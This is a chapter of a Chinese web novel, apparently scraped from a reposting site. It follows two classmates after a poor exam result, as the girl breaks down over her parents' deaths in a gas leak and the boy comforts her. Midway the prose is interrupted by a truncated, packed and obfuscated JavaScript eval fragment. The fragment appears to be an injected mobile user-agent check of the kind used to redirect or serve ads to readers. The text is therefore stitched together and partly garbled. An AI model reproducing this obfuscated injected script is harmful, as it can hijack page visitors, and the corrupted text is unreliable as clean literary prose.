骆远方几乎是没过脑子脱口而出。 虽然他对外一直没否认和顾元的纠葛,但是他就是不想让郑策产生一毫的误会。 “没有?” 可惜郑策早就误会了。 本意是想逗他听听八卦,结果这负心汉敢做不敢当,把前任的事给否得干干净净。 她皱眉问,“那班里都说你和……” “假的。” “那你为什么……” “那个抱书的人是不是你要找的?” 骆远方如蒙大赦打断她,指着花瀑尽头站着的一个瘦小女生。 “是么?”郑策也跟着看过去,“我去问问。” 结果真是那女孩,骆远方抹了一把汗。郑策笑着和她说了会儿话,又抱着练习本一骨碌跑回来。 没想到这人记性还蛮好,开口就是:“那你为什么不跟他们解释呢?” …… 骆远方不自在地抿了抿唇,“不想解释,别人的事别问太多。” 嘿。 奶奶的。 竟然又踩着这家伙的尾巴了,他他妈的是只九尾狐么!毛病一箩筐。 郑策并不觉得这个问题过界了。 如果之前问他为什么不拍摄了算触及个人伤疤,如今他们一起经历了这么多,好歹关系也得近点吧。 她不想刨根问底,被逼问出来的东西,她也不想知道,显得自己像个没有边界感的怨妇。 但她总觉得他们之间的关系不应该是这样的啊。 郑策不惯着谁,直接道:“对不起,没想到你秘密能有这么多。” 骆远方一噎,也绷着张脸没继续和她争论。 看着郑策把教辅资料都塞进书包里后,一把拿了过去。 还挺重。 两个人个子都高,就这样沉默着并排走着。 骆远方的寸头一直有打理,此时留成了美式前刺的样子,短发在额前被随意抓了两下后嚣张地翘起,眉尾位置搭下来略长一点碎发修饰脸型。 衬得整个人冷傲又恣意。 而郑策的一刀切头发也被修理成了短发狼尾的模样。 此时心烦意乱,嫌碎发遮挡视线,她低头咬着一根黑色发圈,两手伸到脑后,松松垮垮半扎一小撮头发。 骆远方肩平腿长,一手揣兜,一手拉着书包肩带,步伐很稳,略扬起的下巴像是在展示自己主场。 郑策因为埋着头又要看路,偶尔抬起的眼睛里带着几分狠厉。狼尾扎好后,修饰在脸庞的碎发还有她一脸吃了苍蝇的不爽模样真是…… 帅炸了。 路人的眼神由“啊,帅哥竟然有女朋友”的失望,瞬间转为“这两个人也太搭了吧”的沉迷。 谁不爱看帅哥美女呢。 但被悄悄围观的两人一个绷着嘴角承认自己秘密是有点多,一个非常不爽,心情都写在了脸上。 过刚易折,郑策和骆远方各自经历不同,但同样造就的是沉稳的内核和倔驴一样的脾气。 在自己认定对的事情上面,不会有丝毫妥协。 这样的氛围一直持续到月考成绩出来。 学委会按照惯例去办公室拿年级排名成绩单,然后贴在教室最前面,示众一周左右。 其实也只有刚贴上去那天,会围着一大批无知群众看闹市斩首一样查成绩。 之后考得好的谦虚着不会去看,考得差的恨不得直接生吞这阶级歧视的破玩意儿。 最后只是留给各科老师上课的时候,玩弄他们的手段罢了。 比如老雷就会在全班答不出语法题时,突然伸手在成绩单上一指,语气玩味。 “安城北,噢哟,八十分。来,我看看你现在进步没有。” 但其实,最刺激的时刻,还是学委去拿成绩单的那五分钟内。 只要学委离开教室,他就像是只摄魂怪,吸走了全班的灵魂,顺便把氧气都掏了个空。 还好老师办公室离教室不远,不然这群心脏不好的年轻人,少说得窒息五六个。 而这回学委不知道被哪个傻逼绊住了手脚,迟迟没回来。 一整个班化作望夫石,眼神呆滞,逐渐失焦地盯着门口。 骆远方旁边的人五指轮流轻敲桌面,给她个话筒,似乎能还你一首摇滚。 而前面的安城北尿频尿急尿不尽,焦虑得跟泌尿系统紊乱了一样。 暴雨来的前奏。 学委一回来,这群人立马化身皇帝的狗腿子,恨不得鞍前马后,爬着就扑上去了。 除了某些矜持的学霸,嘴里一个劲儿说着“哎呀这回惨了,肯定没考好”,一边眼睛往成绩单那儿瞟,心里祈求来个人惊呼,“XXX,班级第一又是你!” “卧槽!” 安城北提上裤子刚回班上就看见了张贴的皇榜,像颗导弹立马往人群发射。 他成绩在九班一直倒数,在年级上中游偏下,因为烈士家属的原因没被换到平行班去,是众所周知的事实。 平时他也不见得对成绩多上心,可能是又和万杨保证了什么,不然就是被后座两位给感染了,开窍了,想学习了。 而安城北后座两位还处于莫名其妙的冷战中。 这场冷战最后的导火索便是安城北发现郑策的成绩在班里倒数第十,而发出的一声惊呼: “骆哥,你这算命一语成谶一战成名了呀!” 郑策其实能估算到自己成绩,毕竟还是当了那么几年的学霸。心里有点数。 只是现在心境又和考试那阵想摆烂不一样了。 现在她他妈的想认真学习了,却忽然扔出来一个深水炸弹。 告诉她,嘿嘿,懈怠了吧,退步就跟滑坡一样简单。 这感觉,跟从良的浪荡子忽然发现自己有七八个孩子……嗯,这比喻不好。 “恭喜啊。” 郑策把这股气撒在了她伪同桌身上。 “我下次说不定还能再低点,你接着算。” “还有提前透题的。” 骆远方也冷笑道,“那真是多谢了。” 两个人就是谁也肯退一步,互相咬着。 这下好了,冷战又要降点温度。 中午放学,郑策看着余光里同学们抢饭的残影,无奈地叹了口气。 就这出息,饭都抢不到。 旁边,还在订正答案的骆远方就看着自己同桌梦游一样从身后飘出了教室。 犹豫一瞬,笔帽一合,他也跟出了学校。 不至于吧,一回考差就灰心成这样?骆远方琢磨着,一边假意扫视旁边摊铺,一边用余光注意着前面的人。 自打郑策看见自己成绩,她身上像是笼了一层阴云,整个人都没精气神了。 骆远方想,这些一帆风顺的学霸可能难得经受这么大的打击。 以为自己不学也能考好吧,这下打脸了吧。 见郑策迟迟没有挑个饭店坐下来的打算,他实在忍不住,压着怒气上前。 走上前时,他恍惚间发现,他们好像还在冷战吧,真是的。 脚尖一顿,他在旁边摊位买了串烤里脊,亦步亦趋跟在郑策身后。 本来打算用美食攻略,奈何这人迟迟没有反应。 “哎,午饭吃什么?” 骆远方忍不住拍上她肩膀。 “烤里脊可香了,吃不?” 被拍的人浑身一颤,郑策没转身。 紧接着就开始不可控制地颤抖起来。 不是吧。 骆远方慌了。 “真,真的挺好吃。” 他说着递到郑策面前,“你闻闻。” 这说的什么屁话。 郑策眼泪已经无声无息流满面,她接过烤里脊,一抽一抽道: “我,我闻,不,到。” 遭了。 忘了这一茬。 骆远方啊骆远方,这种时候还戳别人伤疤,你是人吗! “如果我能提前闻到不对劲,就能救了所有人。” 郑策一边哭,一边为了表现得尽量正常,还吃了口烤里脊,还脚步不停地往前走。 “煤气泄露的时候,我就在卧室里躺着和他们赌气,没想到他们心这么狠,要走就把所有人都带走。” “这不怪你啊。” 骆远方完全懵了,不知道这种情况该怎么办。 原来不是因为考试的事啊。 他也没有安慰女孩子的经验,大街上又不能直接抱她。 只能特别人机地抱着纸巾,递给郑策抽。 等他反应过来时,已经替郑策抽了十几张纸巾了。 “我出去的时候,他们都死了。” 郑策越说越哽咽,越说越伤心。 但除了哽咽,一点哭声没有,静悄悄地流泪。 “他们,他们早就知道我们单独活不下去,我连个考试都考不好。” 果然这个成绩单是罪魁祸首! “你之前不是没学嘛,之后会变好的。” 虽然两人都经历了至亲的死亡,但说实话,骆远方并不太能感同身受。 只能心疼地一下一下拍着郑策后背。 郑策穿了件奶白色冲锋衣,衣服质感略硬,骆远方拍在上面的声音特别大,“砰砰砰”的。 装修一样。 最后给郑策拍得破涕而笑。 “你别拍了,太吵了。”她哭笑着说。 “现在好点了?” 骆远方也发现这个问题了,但又不能不拍,一直憋着笑,这下放开笑了声,仍盯着她: “想吃什么,我请客。” “里脊。” 郑策抽了抽气,企图缓一下刚哭得有些过了。 “刚才混着眼泪吃,没尝出味儿来。” “行。” 她这哭得梨花带雨,又惦记着吃的样子有些搞笑,骆远方四处一看,前方刚好就有一家。 “我们去那家吧。” 郑策刚哭完,整个人还懵懵的,就盯着铁板上的里脊串儿出神。 大概是没人这么认真观摩烤里脊的过程,不知道是不是骆远方的错觉,老板整个人都挺拔了起来,撒料的手法恨不得来个托马斯回旋。 他用拇指指腹很自然地拂去了郑策眼角的泪痕。 郑策动也没动,像只听话的兔子。 兔子此时眼睛里只有烤里脊。 哭饿了吧。 骆远方然后听见旁边有个人“pispis”,鬼迷日眼学着蛇吐信子的声音。 而且好像还是在召唤他? 狗日的。 哪个给的胆子。 转眼就看见骆乘光在一个劲儿地朝自己使眼神。 “我去那边上个厕所。” 骆远方低头对郑策说,“你在这儿等我。” 郑策沉默着点了点头,并不看他。 估计回过神来,觉得自己刚才有些丢人了吧。 “你把人打哭了?” 骆乘光小声问,“怎么下手没轻没重的。” “你哪只眼睛看见的?” 骆远方不耐烦啧了一声,反问他,“中午怎么出来吃了?零花钱看来挺多啊?” “我带江蔚云出来吃糖葫芦。” “江蔚云也来了?” 骆远方皱眉,“你们快走吧,别让郑策知道都看见了她这幅样子。” 于是小江同学刚拿好糯米糖葫芦,兴奋地跑过来,一把就被骆乘光弯腰给捞了起来。 然后转身就走。 “咦?那是叔叔!” 她在骆乘光怀里指骆远方。 “那不是。” “你哥哥,你都不认识。” 江蔚云抱着他脖子笑嘻嘻说。 “我刚练完舞,身上有汗,抱着你OK吗?” 骆乘光试图转移话题。 “你身上有洗衣粉的味道。” 江蔚云在他领口深深吸了一口气,又小声说: “我知道小姨妈哭了,你们怕她觉得丢人,不让我看。” 骆乘光怔了怔,侧过头问她。 “你都看见了?” “嗯。”江蔚云戳了戳他酒窝。 “她好久没哭过了,可能是想妈妈了吧,哭出来会好点。” 骆乘光心里一酸,“你呢?你想么?” 江蔚云嘟着嘴,“小姨妈不表现出来,我也不会表现出来,我现在挺幸福的。” “不开心了也得表现出来,不能闷着,你看你小姨妈,一看就是憋坏了的。” 骆乘光拍了拍她脑袋。 他腾出一只手打开手机。 骆远方发了条消息来: 【午饭吃了吗?等一会要不要一起去安城北他们店里?】 骆摸黑校尉:【不去了,待会儿补作业。】 骆摸黑校尉又发了条:【云朵儿说,她和她小姨妈的互相加油方式是念“哈库那马塔塔”,你可以试试。】 那个农民:【……】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之前一直不敢想,不敢看,不敢提,怕自己会崩溃。但是真的好想他们……” 骆远方沉默着没说话。 她转头看着骆远方说: “你知道么,我其实一直对他们借钱的那个人有怀疑,但是找不到证据,所以每次打电话都开着录音,想着万一哪次录下证据了呢……所以我手机里不小心存了我妈好多声音,但是我一直不敢听。” 因为虽然是真的,但知道其实是假的。 电子记录下来她妈妈曾来过的痕迹。 每次打开录音软件,迟迟点不下去那个文件。 “你要是愿意,我可以陪着你听。”骆远方看着她轻声道。 “其实我也不知道今天为什么突然没绷住。” 郑策擦了下脸上早已干涸的泪痕,“我没这么爱哭的。” “看出来了,我从来很难哭满十分钟。” 骆远方假意看了看空空如也的手腕。 “前前后后,你整整哭了二十分钟。” “唉太丢人了。” 郑策笑着搓了搓脸,她将脸埋在手掌里,闷声说。 “其实回到这里后,所有人对我的第一印象就让我很反感。好像我已经把满分揣兜里了,随便就能考个状元出来……但是,我一摸兜,什么都没有。” 像是一场长跑,她在外围,从来没有放弃,但也一直没等到冲线那刻的轻松。 前路有多长,有几个岔路,几个转角,统统不知道,只能一直跑。 也许停下来也没什么,但是看着身后汹涌而来的人群,听着耳畔呼啸而过的风。 她不敢慢下来分毫。 她害怕赞赏的语气,害怕看好的目光,害怕别人对她说“加油,你一定行。” “你现在是够烂的,我体训生转文都比你高几名。” 骆远方说,“你干什么都不行,我对你失望透顶。你一点希望也没有,你再烂都在我对你的预期里。” 郑策诧异地抬头开他。 “难道你想听这样的话么?”骆远方笑着道。 “感受到落差了吧?其实不论你怎么变,不会像你以为的那样跌入尘土,你在这里一直是格格不入的,你发现了没?” “其实你完全没必要一直反思自己,你已经很好了。” 骆远方喝了一口奶茶,“我没有什么天赋,但我曾经都想试试一个普通人如果有梦想能走多远。” 他看着郑策,眼神却像是透过她看见了更为宽广辽阔的东西。 贡嘎雪山上镀金的阳光,西沙群岛旁钻石般海洋里跳动的精灵,锡林郭勒草原上静谧的风。 这些画面里,仿佛还有个少年。尝试拿着廉价DV记录下目光所及。 骆远方说:“你什么都不想去争,导致本该属于你的东西也因为你的懈怠而放弃了。” “这其实不是争,高考是你想走的和你知道你必须得走完的路。” “你可以不合群,可以游离在班级之外,但得知道自己真正想要的是什么。” 真正想要什么? 第一天回来的时候,柯言也说了一样的话。 骆远方打断郑策正要开的口,轻笑两声。 “不要说什么想留在这里,开家咖啡店的鬼话。其实我也搞不懂你为什么会想回来,但我能看出来你在这里从来没真正融入过。” 对郑策来说,回来是堕落,是因为这里有更多她和爸妈的联系与回忆。 那骆远方说她与这里格格不入,又是什么意思。 “行了,点到为止,今天不要多想了,想傻了快。” 一个响指在她眼前打响。 骆远方笑着用手心把她下巴上不知什么时候又挂上的两滴泪水擦掉。 “诶。” 骆远方忽然狡黠地挑了挑眉。 “带你来这边是看戏高兴高兴的。” 看戏? 话音刚落,大门那边有人进来,带动挂着风铃的线帘。 “回来啦。” 接着是安城北懒洋洋的声音。 “我不回来,你是不是得翻天!” 万杨的声音明显带着怒吼,比平常高了好几个分贝。 “老子供你吃供你穿,考个鸭蛋回来,给我吃吗!”